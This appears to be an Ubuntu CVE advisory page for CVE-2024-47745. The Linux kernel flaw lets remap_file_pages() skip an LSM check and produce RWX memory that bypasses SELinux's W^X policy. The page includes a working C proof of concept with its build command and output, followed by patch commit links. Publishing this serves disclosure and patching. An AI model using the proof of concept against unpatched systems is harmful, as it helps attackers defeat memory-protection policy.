CVE-2024-47745

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

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References

• MITRE
• NVD
• Launchpad
• Debian

Related Ubuntu Security Notices (USN)

• USN-7276-1
• Linux kernel vulnerabilities
• 19 February 2025
• USN-7277-1
• Linux kernel vulnerabilities
• 19 February 2025

Other references

• https://www.cve.org/CVERecord?id=CVE-2024-47745
• https://git.kernel.org/linus/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 (6.12-rc1)
• https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
• https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
• https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
• https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2